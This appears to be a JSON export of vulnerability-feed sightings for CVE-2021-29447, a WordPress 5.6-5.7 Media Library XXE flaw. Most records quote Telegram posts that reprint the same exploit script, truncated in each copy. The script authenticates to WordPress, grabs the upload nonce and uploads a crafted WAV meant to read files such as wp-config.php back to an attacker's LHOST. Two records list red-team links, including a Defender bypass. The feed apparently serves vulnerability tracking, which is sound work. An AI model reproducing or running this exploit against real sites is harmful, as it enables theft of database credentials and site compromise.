(Authenticated)\n# Date: 16/09/2021\n# Exploit Author: David Ut\u00f3n (M3n0sD0n4ld)\n# Vendor Homepage: https://wordpress.com\n# Affected Version: WordPress 5.6-5.7 & PHP8\n# Tested on: Linux Ubuntu 18.04.5 LTS\n# CVE : CVE-2021-29447\n\n#!/bin/bash\n\n# Author: @David_Uton (m3n0sd0n4ld)\n# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST\n# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX\n# Variables\nrHost=$1\nusername=$2\npassword=$3\nreadFile=$4\nlHost=$5\n\n# Functions\n# Logotype\nlogoType(){\necho \"\n=====================================\nCVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)\n-------------------------------------\n@David_Uton (M3n0sD0n4ld)\nhttps://m3n0sd0n4ld.github.io/\n=====================================\"\n}\n\n# Create wav malicious\nwavCreate(){\necho -en \"RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00\\x00\" > payload.wav && echo \"[+] Create payload.wav\"\n}\n\n# Create xx3.dtd\ndtdCreate(){\ncat \nEOT\n}\n\n# wav upload\nwavUpload(){\ncat <eot.upload.py\n#/usr/bin/env python3\n\nimport requests, re, sys\n\npostData = {\n'log':\"$username\",\n'pwd':\"$password\",\n'wp-submit':'Log In',\n'redirect_to':'http://$rHost/wp-admin/',\n'testcookie':1\n}\n\nr = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True\n\ncookies = r.cookies\n\nprint(\"[+] Getting Wp Nonce ... \")\n\nres = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)\nwp_nonce_list = re.findall(r'name=\"_wpnonce\" value=\"(\\w+)\"',res.text)\n\nif len(wp_nonce_list) == 0 :\nprint(\"[-] Failed to retrieve the _wpnonce\")\nexit(0)\nelse :\nwp_nonce = wp_nonce_list[0]\nprint(\"[+] Wp Nonce retrieved successfully ! _wpnonce : \" + wp_nonce)\n\nprint(\"[+] Uploading the wav file ... \")\n\npostData = {\n'name': 'payload.wav',\n'action': 'upload-attachment',\n'_wpnonce': wp_nonce\n}\n\nwav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}\nr_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)\nif r_upload.status_code == 200:\nimage_id = re.findall(r'{\"id\":(\\d+),',r_upload.text)[0]\n_wp_nonce=re.findall(r'\"update\":\"(\\w+)\"',r_upload.text)[0]\nprint('[+] Wav uploaded successfully')\nelse : \np[...]", "creation_timestamp": "2026-09-01T20:02:22.225834Z"}, {"uuid": "eeab8e86-0395-49a6-b2b2-9f5baee68f1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/hacking_Attack/24276", "content": "Exploit Collector\nWordPress 5.7 Media Library XML Injection\n\n\nhttps://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png \nWordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.\n\nMD5 | 285ded5933c9cbe2e0d8eae674b16808\n\nDownload\n# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)\n# Date: 16/09/2021\n# Exploit Author: David Ut\u00f3n (M3n0sD0n4ld)\n# Vendor Homepage: https://wordpress.com\n# Affected Version: WordPress 5.6-5.7 & PHP8\n# Tested on: Linux Ubuntu 18.04.5 LTS\n# CVE : CVE-2021-29447\n\n#!/bin/bash\n\n# Author: @David_Uton (m3n0sd0n4ld)\n# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST\n# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX\n# Variables\nrHost=$1\nusername=$2\npassword=$3\nreadFile=$4\nlHost=$5\n\n# Functions\n# Logotype\nlogoType(){\necho \"\n=====================================\nCVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)\n-------------------------------------\n@David_Uton (M3n0sD0n4ld)\nhttps://m3n0sd0n4ld.github.io/\n=====================================\"\n}\n\n# Create wav malicious\nwavCreate(){\necho -en \"RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00\\x00\" > payload.wav && echo \"[+] Create payload.wav\"\n}\n\n# Create xx3.dtd\ndtdCreate(){\ncat \nEOT\n}\n\n# wav upload\nwavUpload(){\ncat <eot.upload.py\n#/usr/bin/env python3\n\nimport requests, re, sys\n\npostData = {\n'log':\"$username\",\n'pwd':\"$password\",\n'wp-submit':'Log In',\n'redirect_to':'http://$rHost/wp-admin/',\n'testcookie':1\n}\n\nr = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True\n\ncookies = r.cookies\n\nprint(\"[+] Getting Wp Nonce ... \")\n\nres = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)\nwp_nonce_list = re.findall(r'name=\"_wpnonce\" value=\"(\\w+)\"',res.text)\n\nif len(wp_nonce_list) == 0 :\nprint(\"[-] Failed to retrieve the _wpnonce\")\nexit(0)\nelse :\nwp_nonce = wp_nonce_list[0]\nprint(\"[+] Wp Nonce retrieved successfully ! _wpnonce : \" + wp_nonce)\n\nprint(\"[+] Uploading the wav file ... \")\n\npostData = {\n'name': 'payload.wav',\n'action': 'upload-attachment',\n'_wpnonce': wp_nonce\n}\n\nwav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}\nr_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)\nif r_upload.status_code == 200:\nimage_id = re.findall(r'{\"id\":(\\d+),',r_upload.text)[0]\n_wp_nonce=re.findall(r'\"update\":\"(\\w+)\"',r_upload.text)[0]\nprint('[+] Wav uploaded successfully')\nelse : \np[...]", "creation_timestamp": "2026-09-02T01:02:50.888410Z"}, {"uuid": "a3335903-c022-449d-8af2-34b7b0066e0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/cissp/3243", "content": "Red Team Tactics\n1. Windows Privilege Escalation: \ud83d\ude0a\nDnsAdmins to DomainAdmin\nhttps://www.hackingarticles.in/windows-privilege-escalation-dnsadmins-to-domainadmin\n2. How to bypass Defender in a few easy steps\nhttps://arty-hlr.com/blog/2021/05/06/how-to-bypass-defender\n\nSCADA Security\nWhen Intrusions Don\u2019t Align:\nA New Water Watering Hole and Oldsmar\nhttps://www.dragos.com/blog/industry-news/a-new-water-watering-hole\n\nFuzzing iOS code on macOS at native speed\nOr how iOS apps on macOS work under the hood\nhttps://googleprojectzero.blogspot.com/2021/05/fuzzing-ios-code-on-macos-at-native.html\n\nThreat_Research\n1. WordPress 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 XXE Vulnerability\nin Media Library (CVE-2021-29447)\nhttps://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447\n2. Oculus SSO \"Account Linking\" bug leads to account takeover on third party websites and inside VR Games/Apps\nhttps://ysamm.com/?p=697\n\n1. GraphQL:\n]-> Security Overview and Testing Tips\nhttps://blog.doyensec.com/2018/05/17/graphql-security-overview.html\n]-> POST-based CSRF\nhttps://blog.doyensec.com/2021/05/20/graphql-csrf.html\n2. Terraform Plan \"RCE\"\nhttps://alex.kaskaso.li/post/terraform-plan-rce", "creation_timestamp": "2026-09-02T01:04:38.409613Z"}, {"uuid": "c55b2f9d-a7d2-4097-a970-9678e5166f2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/cissp/2972", "content": "exploit:\nCVE-2021-29447:\nWordPress 5.6-5.7 - Authenticated XXE (PoC)\nhttps://github.com/motikan2010/CVE-2021-29447\n\nRed Team Tactics:\n1. sJET allows an easy exploitation of insecure configured JMX services (siberas JMX Exploitation Toolkit)\nhttps://github.com/siberas/sjet\n2. Jenkins exploit for Servers without authentication\ud83d\ude04\nhttps://github.com/Hacker5preme/jenkins-exploit\n\nThreat Research:\nMultiple RCE vulnerabilities in Microsoft Azure Sphere (PoCs for CVE-2021-27047, CVE-2021-27080,\nCVE-2021-28460)\nhttps://blog.talosintelligence.com/2021/04/vuln-spotlight-azure-sphere-april-2021.html?m=1\n\nOffensive security:\n1. mod_security bypass\ud83d\ude03\nhttps://y000o.medium.com/fun-sql-injection-mod-security-bypass-644b54b0c445\n2. XSS in the process of creating a File/Folder in iCloud Drive\nhttps://fernale.blogspot.com/p/an-interesting-xss-exploit-that-i-found.html?m=1", "creation_timestamp": "2026-09-02T01:04:44.887674Z"}, {"uuid": "41a2fd9b-2ea3-4bc1-a17e-117fb2945875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24276", "content": "Exploit Collector\nWordPress 5.7 Media Library XML Injection\n\n\nhttps://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png \nWordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.\n\nMD5 | 285ded5933c9cbe2e0d8eae674b16808\n\nDownload\n# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)\n# Date: 16/09/2021\n# Exploit Author: David Ut\u00f3n (M3n0sD0n4ld)\n# Vendor Homepage: https://wordpress.com\n# Affected Version: WordPress 5.6-5.7 & PHP8\n# Tested on: Linux Ubuntu 18.04.5 LTS\n# CVE : CVE-2021-29447\n\n#!/bin/bash\n\n# Author: @David_Uton (m3n0sd0n4ld)\n# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST\n# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX\n# Variables\nrHost=$1\nusername=$2\npassword=$3\nreadFile=$4\nlHost=$5\n\n# Functions\n# Logotype\nlogoType(){\necho \"\n=====================================\nCVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)\n-------------------------------------\n@David_Uton (M3n0sD0n4ld)\nhttps://m3n0sd0n4ld.github.io/\n=====================================\"\n}\n\n# Create wav malicious\nwavCreate(){\necho -en \"RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00\\x00\" > payload.wav && echo \"[+] Create payload.wav\"\n}\n\n# Create xx3.dtd\ndtdCreate(){\ncat \nEOT\n}\n\n# wav upload\nwavUpload(){\ncat <eot.upload.py\n#/usr/bin/env python3\n\nimport requests, re, sys\n\npostData = {\n'log':\"$username\",\n'pwd':\"$password\",\n'wp-submit':'Log In',\n'redirect_to':'http://$rHost/wp-admin/',\n'testcookie':1\n}\n\nr = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True\n\ncookies = r.cookies\n\nprint(\"[+] Getting Wp Nonce ... \")\n\nres = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)\nwp_nonce_list = re.findall(r'name=\"_wpnonce\" value=\"(\\w+)\"',res.text)\n\nif len(wp_nonce_list) == 0 :\nprint(\"[-] Failed to retrieve the _wpnonce\")\nexit(0)\nelse :\nwp_nonce = wp_nonce_list[0]\nprint(\"[+] Wp Nonce retrieved successfully ! _wpnonce : \" + wp_nonce)\n\nprint(\"[+] Uploading the wav file ... \")\n\npostData = {\n'name': 'payload.wav',\n'action': 'upload-attachment',\n'_wpnonce': wp_nonce\n}\n\nwav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}\nr_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)\nif r_upload.status_code == 200:\nimage_id = re.findall(r'{\"id\":(\\d+),',r_upload.text)[0]\n_wp_nonce=re.findall(r'\"update\":\"(\\w+)\"',r_upload.text)[0]\nprint('[+] Wav uploaded successfully')\nelse : \np[...]", "creation_timestamp": "2026-09-07T14:00:04.494194Z"}, {"uuid": "60e0259e-74e5-4068-a58d-253c21dc7594", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/24276", "content": "Exploit Collector\nWordPress 5.7 Media Library XML Injection\n\n\nhttps://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png \nWordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.\n\nMD5 | 285ded5933c9cbe2e0d8eae674b16808\n\nDownload\n# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)\n# Date: 16/09/2021\n# Exploit Author: David Ut\u00f3n (M3n0sD0n4ld)\n# Vendor Homepage: https://wordpress.com\n# Affected Version: WordPress 5.6-5.7 & PHP8\n# Tested on: Linux Ubuntu 18.04.5 LTS\n# CVE : CVE-2021-29447\n\n#!/bin/bash\n\n# Author: @David_Uton (m3n0sd0n4ld)\n# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST\n# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX\n# Variables\nrHost=$1\nusername=$2\npassword=$3\nreadFile=$4\nlHost=$5\n\n# Functions\n# Logotype\nlogoType(){\necho \"\n=====================================\nCVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)\n-------------------------------------\n@David_Uton (M3n0sD0n4ld)\nhttps://m3n0sd0n4ld.github.io/\n=====================================\"\n}\n\n# Create wav malicious\nwavCreate(){\necho -en \"RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00\\x00\" > payload.wav && echo \"[+] Create payload.wav\"\n}\n\n# Create xx3.dtd\ndtdCreate(){\ncat \nEOT\n}\n\n# wav upload\nwavUpload(){\ncat <eot.upload.py\n#/usr/bin/env python3\n\nimport requests, re, sys\n\npostData = {\n'log':\"$username\",\n'pwd':\"$password\",\n'wp-submit':'Log In',\n'redirect_to':'http://$rHost/wp-admin/',\n'testcookie':1\n}\n\nr = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True\n\ncookies = r.cookies\n\nprint(\"[+] Getting Wp Nonce ... \")\n\nres = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)\nwp_nonce_list = re.findall(r'name=\"_wpnonce\" value=\"(\\w+)\"',res.text)\n\nif len(wp_nonce_list) == 0 :\nprint(\"[-] Failed to retrieve the _wpnonce\")\nexit(0)\nelse :\nwp_nonce = wp_nonce_list[0]\nprint(\"[+] Wp Nonce retrieved successfully ! _wpnonce : \" + wp_nonce)\n\nprint(\"[+] Uploading the wav file ... \")\n\npostData = {\n'name': 'payload.wav',\n'action': 'upload-attachment',\n'_wpnonce': wp_nonce\n}\n\nwav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}\nr_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)\nif r_upload.status_code == 200:\nimage_id = re.findall(r'{\"id\":(\\d+),',r_upload.text)[0]\n_wp_nonce=re.findall(r'\"update\":\"(\\w+)\"',r_upload.text)[0]\nprint('[+] Wav uploaded successfully')\nelse : \np[...]", "creation_timestamp": "2026-09-08T00:00:42.618905Z"}]}